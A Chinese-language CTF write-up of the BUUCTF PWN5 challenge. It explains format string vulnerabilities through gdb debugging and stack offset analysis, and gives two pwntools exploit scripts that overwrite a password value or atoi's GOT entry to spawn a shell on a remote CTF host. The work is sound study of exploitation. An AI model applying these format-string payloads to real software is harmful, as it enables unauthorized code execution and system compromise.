声明:本文用途为供自己学习
参考文章一:CSDN-云啾啾啾(作者)-buuctf——[第五空间2019 决赛]PWN5 1
参考文章二:CSDN-Mokapeng(作者)-[第五空间2019 决赛]PWN5 ——两种解法
参考文章三:CSDN-lifanxin(作者)-CTF pwn题之格式化字符串漏洞详解
参考文章四:知乎-看雪(作者)-PWN入门-格式化字符串漏洞
参考文章五:简书-杰森任(作者)-PWN格式化字符串漏洞1(基础知识)
参考文章七:CSDN-Marx_ICB(作者)-【PWN】格式化字符串漏洞原理
参考文章八:CSDN-n19hT(作者)-gdb调试 | pwndbg+pwndbg联合使用

目录

  • 一、思路
    • (一)格式化字符串漏洞
    • (二)方法一:篡改随机数(密码)
    • (三)方法二:篡改atoi地址为system地址并传入参数`"/bin/sh"`
  • 二、攻击过程
    • (一)方法一
      • 1.审计代码(反汇编代码)和调试程序
        • (1)第一步
        • (2)第二步 深入探究
        • (3)第三步
    • 2.理论分析
    • (二)方法二
    • (三)其他:[pwngdb中fmtarg](https://zhuanlan.zhihu.com/p/525576998)和[pwntools中FmtStr类](https://blog.csdn.net/A951860555/article/details/115061803)
      • 1.`pwngdb`中`fmtarg`
  • 三、攻击脚本
    • 方法一
    • 方法二
  • 四、遇到的问题
    • (一)懒得尝试,希望于“吃别人做好的饭”
    • (二)还是没有理解`FmtStr`类的细节。
    • (三)对`plt`,`got`表的相关内容理解不深,浮于表面。
  • 五、总结反思

一、思路

参考文章:CSDN-Mokapeng(作者)-[第五空间2019 决赛]PWN5 ——两种解法(参考部分:题目分析)

(一)格式化字符串漏洞

参考文章:CSDN-lifanxin-CTF(作者)-pwn题之格式化字符串漏洞详解(参考部分:概念)
  格式化字符串漏洞的成因在于像printf/sprintf/snprintf等格式化打印函数都是接受可变参数的,而一旦程序编写不规范,比如正确的写法是:printf("%s", pad),偷懒写成了:printf(pad),此时就存在格式化字符串漏洞

(二)方法一:篡改随机数(密码)


如图可知main函数的功能是从/dev/urandom文件读取一个随机数,比对输入的passwd是否与该随机数一致,一致则getshell,而printf函数没有设定格式化参数,与输入的passwd比较的数字的地址也可以看到是0x804C044,因此可以利用格式化字符串漏洞,在第一次输入name的时候修改0x804C044的内容,第二次输入passwd时输入改内容(字符串格式,用str函数,其参数为16进制数字)

(三)方法二:篡改atoi地址为system地址并传入参数"/bin/sh"

第一次输入通过格式化字符串漏洞篡改atoi函数got地址为system函数的真实地址,第二次输入passwd为字符串"/bin/sh"

二、攻击过程

(一)方法一




根据上述内容,有Canary保护、有未给出格式化参数的错误使用的printf和地址已知的if语句中的变量,而且第一次read的数据长度为0x63个byte,因此用第一次输入构造payload,使得可以向0x804C044这个地址中任意写入。
以下是个人对于格式化字符串漏洞的相关深入探究:

1.审计代码(反汇编代码)和调试程序

(1)第一步

工具:pwngdb,IDApro32;
调试参数:b *0x80492BB(相关地址均通过IDA得到)、rAAAA-%p-%p-%pstack 20 、(此时显示为第一张图片)nistack 20(第二张图片);*

(以下内容过于基础)此时,eip指向0x80492bb,说明此时下一条执行的指令为push eax,所以当前执行的指令是lea eax,[ebp - 0x70]

接着执行上述0x80492BB处的push eaxeax存放的为下一条l指令: call printf@plt的参数,即刚刚的输入的AAAA-%p-%p-%p起始位置所在的地址被压入栈中)

(2)第二步 深入探究

刚刚提到经过push eax后,输入的字符串的输入的AAAA-%p-%p-%p起始位置所在的地址被压倒了栈中,而AAAA-%p-%p-%p内容本身放在哪里?
在pwngdb中继续进行调试,调试参数:db *0x804929BrAAAA-%p-%p-%p。*

通过IDA的伪代码可以看到,键盘输入的内容被放入buf中,而buf的起始位置通过ebp信息(0xffffd0a8下图第一处划线处)和其与ebp的偏移量(0x70)可以算出来(上图第一处画线位置),就是0x804929B(也可以直接通过下图中第三处划线位置buf0xffffd038看出来)

(3)第三步

再次回到第一步的第二张图,

此时输入调试命令:print /x *0xffffd038(以16进制格式打印栈空间上0xffffd038地址处的内容)*,结果如下

现在退出pwngdb,运行该程序,输入参数AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p,结果如下图:

2.理论分析

如果对格式化字符串漏洞理解起来困难,建议看下这篇博客

第一个%p打印的是从printf参数的起始位置(本题中为0xffffd010,该位置偏移量为0)的下一个位置开始(偏移量为1)的内容,所以第一个%p的输出内容为0xffffd014的内容,依此类推。而buf的起始地址为0xffffd038printf参数的地址为0xffffd010,所以其二者间的偏移量为10(0x28byte,每个偏移量占4byte,16进制)。在上图输出结果可以看到以AAAA为偏移量0开始算起,第十个偏移量的位置正是0x41414141(AAAA的16进制格式)。其他格式化字符串原理类似%p,例如%10$n,就是把当前格式化参数(%10$n)之前字符数(char类型)的数值大小,赋值给从printf的参数所在栈的位置的起始位置(偏移量为0)开始算起,第10个偏移量的栈空间的位置中的内容作为地址,把该地址对应的内容(只修改一个字(2个byte),改变修改的字节量可以改用%10$hn等(大概吧)),修改为前面说的“字符串数的数值大小”。
上段内容最后一句话参考文章:CSDN-Marx_ICB(作者)-【PWN】格式化字符串漏洞原理如下内容

%hhn 写一字节
%hn  写两字节
%n   写四字节
%ln  32位写四字节,64位写八字节
%lln 写八字节

(ps:关于"-"的输出问题(我自己在做题时的困惑),为什么"-"不影响输出结果如"0x41414141"的相对位置,因为,%p打印的是从printf参数的起始位置(本题中为0xffffd010,该位置偏移量为0)的下一个位置开始(偏移量为1),第一个%p的输出内容为0xffffd014的内容,此时还没有开始输出到存储字符串本身内容的位置,而printf在输出打印内容时是按顺序打印结果,例如先输出AAAA,在输出"-",遇到%p了,输出其对应偏移量(相对于printf参数)位置的内容,而"-"对应的16进制数就是2d,所以会看到从第十一个参数开始出现2d

(二)方法二

修改exp.py的内容:

from pwn import *
#context.log_level = "DEBUG"elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_sym = elf.sym['system']print("atoi_got:",hex(atoi_got))
print("system_sym:",hex(system_sym))

结果如下图:

发现如果用方法一精心地构造payload,会非常困难比如把atoi_got中的最后一字节0x34改成目的数值(0x80)相当困难,因为buf可写入长度仅为0x70个字节,当然也可以进一步想办法解决该问题,但是本文在此处决定使用pwntools自带的fmtstr_payload函数,以期同时掌握更多工具使用方法。构造的payload如下

payload=fmtstr_payload(10,{atoi_got:system_sym})

第一个参数为第二个参数第一部分(即atoi_got)到printf的参数的偏移量,第二个参数的第一部分为要篡改的地址,第二个部分为要篡改之后的值。
(这里有个很奇怪的地方,就是当将elf.sym['system']改为elf.plt['system']时,仍然可以攻击成功,改成elf.got['system']后,攻击失败,这里我不太理解,应该是对plt、got的理解不够,之后尽快补上)

(三)其他:pwngdb中fmtarg和pwntools中FmtStr类

1.pwngdbfmtarg


参见参考文章四。
fmtarg使用及pwngdbpwndbg的配置参见下面链接的文章。(如果输入fmtarg报错说没有该命令,则需要按下面文章进行配置)
参考文章八:CSDN-n19hT(作者)-gdb调试 | pwndbg+pwndbg联合使用
2.pwntoolsFmtStr
参考文章三:CSDN-lifanxin(作者)-CTF pwn题之格式化字符串漏洞详解

def exec_fmt(pad):p = process("./pwn")# send 还是 sendline以程序为准p.send(pad)return p.recv()fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)

输出结果如下。

这里有我不理解的两个点,一个是fmt = FmtStr(exec_fmt)这里,没有给exec_fmt传入任何参数(应该是py基础不好),另一个是还是没有理解FmtStr类的细节,这个需要继续学习。

三、攻击脚本

方法一

payload1参考博文:CSDN-Mokapeng(作者)-[第五空间2019 决赛]PWN5 ——两种解法
payload2参考博文:云啾啾啾(作者)-buuctf——[第五空间2019 决赛]PWN5 1

from pwn import *
#context.log_level = "DEBUG"
ifRemote = 1
if ifRemote:io = remote("node4.buuoj.cn",29457)
else:io = process("./pwn1")passwd = 0x804C044
payload1 = p32(passwd) + p32(passwd+1) + p32(passwd+2) + p32(passwd+3) + b"%10$n%11$n%12$n%13$n"
#payload2=b"AAAA%16$n%17$n%18$n%19$n"+p32(bss)+p32(bss+1)+p32(bss+2)+p32(bss+3)#(在此处这个形式的payload就是)就是想说明%16$n这样的格式化参数也要算做一个偏移量,64位由于0截断的原因,需要采取第二种payload的格式
io.sendline(payload1)
io.sendline(str(0x10101010))
io.interactive()

方法二

from pwn import *
#context.log_level = "DEBUG"
ifRemote = 1
if ifRemote:io = remote("node4.buuoj.cn",25450)
else:io = process("./pwn")elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_sym = elf.sym['system']print("atoi_got:",hex(atoi_got))
print("system_sym:",hex(system_sym))
payload=fmtstr_payload(10,{atoi_got:system_sym})
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()

四、遇到的问题

(一)懒得尝试,希望于“吃别人做好的饭”

一开始对payload的构造不能理解,网上的博文大多讲的不清楚,或者说不对我的“胃口”,感觉自己关注的地方,网上的博文并没能为我解答,只有自己调试了。
比如网上有些地方讲的%p的偏移量是对于esp来讲的,哪一步的esp?有些博文并没有说。
拿博文:云啾啾啾(作者)-buuctf——[第五空间2019 决赛]PWN5 1举个例子,博文中说到:“在用户输入用户名处,先输入一个AAAA,试探会写在栈的哪个位置。”"AAAA%16$n%17$n%18$n%19$n"这一段一共是24个字节,当写入栈里时,会占满第10,11,12,13,14,15个位置;,为什么用“试探”这个词,到底为什么在这样一个位置?写入栈里的第几个位置,可是栈不是在增长或减少吗?这个位置是固定的吗?相对于谁呢?在什么时候的相对位置呢?也许是博主已经对这种基本知识的掌握很扎实,并未深入讲解,然而我不能理解,于是本篇文章重点对我不理解的地方做了调试与深入探究。

(二)还是没有理解FmtStr类的细节。

(三)对pltgot表的相关内容理解不深,浮于表面。

五、总结反思

这次做题沉下心了仔细审题代码并且不懂的地方一步一步调试,采取一种绝不向不会的地方妥协的策略,发现很多问题都不是很难解决。而且还是要对不懂得知识做深入的研究,本文待进一步修改。

writeUP-[第五空间2019 决赛]PWN5(待进一步完善待研究内容)相关推荐

  1. [BUUCTF-pwn]——[第五空间2019 决赛]PWN5

    [BUUCTF-pwn]--[第五空间2019 决赛]PWN5 题目地址:https://buuoj.cn/challenges#[第五空间2019%20决赛]PWN5 题目: 这是一道格式化字符串的 ...

  2. [第五空间2019 决赛]PWN5

    [第五空间2019 决赛]PWN5 格式化字符串漏洞 设置了canary,无法栈溢出 main函数 主要是输入name和passwd,passwd是一个随机数的覆盖值(unk_804C044) 看到了 ...

  3. buuctf——[第五空间2019 决赛]PWN5 1

    查看文件权限 设置了canary,无法栈溢出. F5查看源程序 源程序大意是把随机数放入到bss段的0x804c044处,用户输入用户名和密码,如果密码和随机数相等,则拿到权限. 解题思路 看到了pr ...

  4. (Buuctf) [第五空间2019 决赛]PWN5 简单格式化字符串漏洞利用

    这题是个基本格式化字符串漏洞利用; 满足if条件即可得到答案; 使 nptr 与 dword_804C044 相等即可; 可以使我们利用的是 第一次的输入输出; addr=0x804C044 payl ...

  5. 山楂树下:温馨提示,您的2019法定节日已过完

    10月1日仿佛还在昨天,令人激动人心的国庆阅兵历历在目,怎么一觉醒来便已经坐在工位上面无表情的敲打键盘?众所周知,国庆之后国内的2019年法定节假日也就结束了,但是没关系呀,最起码三个月后还有元旦不是 ...

  6. 扎心!来自互联网er的2019年度总结,看完笑着流泪……

    转眼2019年已经接近尾声,又到了年度总结的时候了.过去一年,你加了多少班,熬了多少夜,回想起来历历在目.互联网人2019年度总结,看完扎心了-- 01 - 这一年里 你一共提了275个需求 其中27 ...

  7. 2019 到目前为止的深度学习研究进展汇总

    本文为 AI 研习社编译的技术博客,原标题 : Best Deep Learning Research of 2019 So Far 作者 | ODSC - Open Data Science 翻译 ...

  8. 2019 年ML NLP领域十大研究热点

    导语:NLP 知名博主 Sebastian Ruder 的年度报告! 2019 年过去了,对于 AI 界而言,过去的一年可谓是"激流勇进"的一年,一方面,整个 AI 界的研究情绪高 ...

  9. 东莞市初中生中考计算机内容,2019年广东东莞市中考考试科目及内容

    中考网整理了关于2019年广东东莞中考考试科目及内容,希望对考生有所帮助,仅供参考. 考试科目 涵盖国家<义务教育课程设置实验方案>(7-9年级,以下简称<课程方案>)规定的全 ...

  10. 2019微信公开课Pro微信之夜内容笔记总结

    2019微信公开课Pro 微信之夜内容笔记总结 小程序入口 我的小程序 任务栏入口 线下扫码 搜索小程序 附近小程序升级 用户留存问题 小程序成长 关注用户需求 性能监控 广告主&&流 ...

最新文章

  1. R语言sunburst图(sunburst plot)可视化实战:使用sunburstR包和ggplot2包进行可视化
  2. 利用matlab对xml文件进行批量处理
  3. CF-1209 F. Koala and Notebook(建图BFS)
  4. android7.1 shotcuts,Android N App Shotcuts 学习
  5. 中国HBase技术社区第五届MeetUp ——HBase技术解析及应用实践(深圳站)
  6. JasperReports JSF插件用例–简单列表报告
  7. C语言 函数递归例题解析
  8. mysql服务连接标识_MySQL 连接 | 菜鸟教程
  9. 【Java从0到架构师】SpringMVC - 返回值
  10. layui中折叠面板的使用
  11. python中shuffle是什么意思_选择vs.Shuffle,Python
  12. MEncoder的基础用法—6.6. 改变电影大小
  13. 安装3dmax2020版本注意事项
  14. PuTTYgen使用教程
  15. 1、黑塞矩阵Hessian matrix
  16. win11怎么隐藏任务栏图标?
  17. mysql case when in_MySQL case when 使用
  18. pdf服务器签章系统,PDF离线签章工具使用方法
  19. python实现BMI计算器
  20. 使用Excel和Matlab批量修改图片名称

热门文章

  1. word文件打不开怎么办?显示的是:调试,发送错误报告,不发送
  2. mysql按周几查询时间戳转周几星期
  3. java 字符串 哈希值_Java 获取字符串Hash值
  4. 破解justinmind方法,简单有效
  5. 小游戏:红色警戒争霸战!
  6. 操写一盒酥三字于盒上
  7. 解决 from scipy.misc import comb ImportError: cannot import name ‘comb‘ 问题
  8. ios 字符加密问题 字符串加密gyb字符返回空
  9. java faker_Faker--伪造数据利器
  10. 怎么追学计算机的女生,怎样去追比较文静,不爱说话的女生!!!!!